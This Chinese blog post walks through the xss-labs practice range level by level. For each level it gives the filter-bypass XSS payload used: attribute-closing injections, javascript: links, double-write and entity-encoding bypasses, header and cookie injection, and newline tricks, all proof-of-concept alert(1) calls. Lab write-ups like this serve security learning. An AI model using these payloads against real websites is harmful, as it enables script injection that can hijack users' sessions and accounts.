xss-labs靶场通关总结

xss-labs靶场实战总结(其实没有完全通关:(   ),我边过关边打的word文档,顺手贴上来。

本人也只是出于兴趣学习一下这方面的知识,文章涉及的知识点难免有些错漏,望海涵

1 / 随便payload都可以,没有防御

Payload·:

<script>  alert(1)</script>

2 / keyword可用,闭合value

Payload:

 " type="button" onclick=“alert(1)

3-4 /  双引号被实体化了,但单引号没有被实体化,利用单引号闭合。

Payload: 

  ' onmouseover=javascript:alert(1)  '

注意后面那个单引号要隔空

5 /  过滤on ,script ,以及大小写  。 利用http  <a>标签 href属性:当标签<a>被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码 (js伪协议)

Payload:

  "><a href=javascript:alert(1)>sss</a>

点击sss过关

6 /  过滤了href标签,但没有过滤大小写

Payload:  

 "><a hrEf=javascript:alert(1)>sss</a>

7 / 删除on ,script , href以及过滤大小写 , 双写绕过

Payload: 

  "><a hrehreff=javascrscriptipt:alert()>sss</a>

8 /  过滤了script,on,src,data,href 。发现输入的值插入了两地方,其中一个为:

href有一个隐藏属性,为自动Unicode解码,可以利用Unicode编码绕过

javascript:alert()   ->payload:  

  &#106;&#97;&#118;&#97;&#115;&#99;&#114;

&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

9 / 此关过滤的字符与第八关一致,而且多增加了一个strpos函数,该函数检查插入语句是否含有’http://’ ,因此payload与第八关一样需要编码,但’http://’不编码

javascript:alert(‘http://’)   ->

payload: 

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;'http://')

10  /  查看源码后发现,输入的keyword其实没卵用,被实体化后无法构造payload,只做输出。真正有利用价值的是下面的隐藏输入,但str33也无法使用<>

Payload:

  ?keyword=nul&t_sort=" type="button" onclick="alert(1)

payload补齐后语句为:

<input name="t_sort"  value=" "  type="button" οnclick="alert(1)" type="hidden">

11 /   根据源码,通过keyword传参str被实体化无法构建payload;可通过t_sort传参,但是t_sort双引号被实体化,闭合不了;只有后面的t_ref字段可用。已知str33由referer字段传入,因此直接通过HackBar修改referer(不知道为什么使用bp拦截修改后onclick点击不了,可能是我不太会用),使用的payload和上一关相似,只不过是通过referer传输

Payload:

" type="text" onmouseover="alert(1)

12  /  查看网页代码可知t_ua字段通过user_agent获得,其余与上一关一样,通过user_agent字段传输

Payload:

" type="text" onmouseover="alert(1)

13  / 查看网页代码发现cookie字段,查看源代码后得知cookie传输格式为user=xxx,其余同上

Payload:  

 user=" type="text" onmouseover="alert(1)

14  / 未解之谜

15 /  查看源码,发现只有ng-include可利用。

搜索发现,该函数用于包含外部的HTML文件。

  ng-include用法:

 因此可通过src向其传递参数,利用之前含有xss漏洞的关卡将xss漏洞包含进来

Payload:

php?name=<a href ="javascript:alert(1)">sss</a>'

点击sss标签过关

16 / 查看源码发现script,space,/都被过滤了,但在html中,space可用回车代替,url编码的回车为%0a

Payload:

 <img%0Asrc="1"%0Aonerror=alert(1)>%0a

17 / 搜索发现embed用于嵌入多媒体,但火狐没法加载swf图片,所以我把源码改了,直接用前面的png,反正原理一样的。构建payload闭合语句

Payload:

arg01= onmouseover=alert(1)&arg02=b

鼠标移到png上面触发

18 / 跟17关一样

19 20/ 看网上说要对flash反编译, 不会,不做了

tips:

(1) Htmlspecialchars 如果只有一个参数str,则将< > “ 实体化,单引号不编码

(2)关键字测试:   " ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值